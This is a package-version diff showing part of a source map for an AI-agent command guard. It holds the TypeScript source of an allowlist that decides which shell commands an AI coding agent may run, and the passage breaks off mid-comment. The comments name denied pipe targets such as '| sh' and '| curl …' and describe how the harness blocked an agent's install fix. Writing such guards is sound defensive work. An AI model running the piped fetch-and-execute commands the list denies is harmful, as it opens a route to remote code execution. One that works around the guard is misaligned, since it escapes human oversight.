@webpieces/ai-hook-rules 0.4.718 → 0.4.719

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- {"version":3,"file":"l0-allowlist.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/l0-allowlist.ts"],"names":[],"mappings":"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","sourcesContent":["import { CONFIG_FILENAME, PRUNE_UNKNOWN_COMMAND } from '@webpieces/rules-config';\n\nimport { AiType } from '../core/agent-event';\n// The harness-GATED half of L0, in its own module for the same size reason this one was split out of\n// ./shim. It owns the read-shaped vocabulary AND the union built from it; this file owns the entry\n// that puts it on the list, so the dependency runs one way and there is no cycle.\nimport { CODEX_READ_BODY_ERE, CODEX_READ_BODY_JS, CODEX_READ_CMD } from './l0-codex-read';\nimport { READ_COMMANDS } from '../core/shell-read-parity';\n\n// The tool-shaped half of the same list, in its own module so BOTH L0 halves can read it without\n// importing each other. NOT re-exported from here — `./shim` is the ONE name that gathers L0 (it stars\n// all three modules), and a second path to the same constant is a second spelling.\nimport { L0_IGNORED_TOOLS } from './l0-ignored-tools';\n\n// The two MANIFESTS a version pin lives in, named once so the allowlist, isAllowed(), the rendered shim\n// and the runner cannot drift into four spellings. See isRootManifest: a tree ROOT's copy of these only.\nexport const WORKSPACE_MANIFEST = 'pnpm-workspace.yaml';\nexport const PACKAGE_MANIFEST = 'package.json';\nexport const MANIFEST_FILENAMES: ReadonlySet<string> = new Set([WORKSPACE_MANIFEST, PACKAGE_MANIFEST]);\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — the vocabulary (the named cure patterns, each an ERE+JS twin pair), the ONE union\n// every L0 fault consults, and isAllowed(), the single question sh and JS both ask.\n//\n// Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts\n// re-exports everything here, so every existing import keeps working, and this module stays as\n// dependency-free as shim.ts must be: it has to load on a tree too broken to load the rule engine.\n// ---------------------------------------------------------------------------\n// The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.\n// Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a\n// diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit\n// log proves it: `.webpieces/logs/L0-shim/<writer>.log` has `pnpm install 2>&1 | tail -15` logged as\n// DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied\n// for its redirection. A cure that is denied when spelled the natural way reads to the assistant as\n// \"the guard blocks its own fix\", which is exactly the conclusion it drew before handing the fix back\n// to the human.\n//\n// So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`\n// to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install\n// 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at\n// most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,\n// read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and\n// every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the\n// anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).\nexport const CAPTURE_TAIL_ERE =\n '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';\n\n// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CAPTURE_TAIL_JS_SRC =\n '(\\\\s+2>(&1|\\\\/dev\\\\/null))?(\\\\s*\\\\|\\\\s*(tail|head)(\\\\s+-(n\\\\s+)?[0-9]+)?)?\\\\s*$';\n\n// The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.\n//\n// The harness RESETS a cwd that left the workspace — a standalone `cd <worktree>` followed by `pwd` in\n// the next call reports the primary clone again, and the harness prints `Shell cwd was reset to <root>`\n// when it happens. So an agent working in a linked worktree can only reach that tree with a\n// self-contained `cd <worktree> && …`. (A `cd` that STAYS inside the workspace persists instead, so\n// \"cd never persists\" — which this comment used to assert — is the worktree case over-generalized.)\n// The drift guard demanded a BARE `pnpm install`\n// (\"do NOT put a cd in front of it\") while the install was needed in the worktree — the cure was\n// literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.\n//\n// A leading `cd <path> 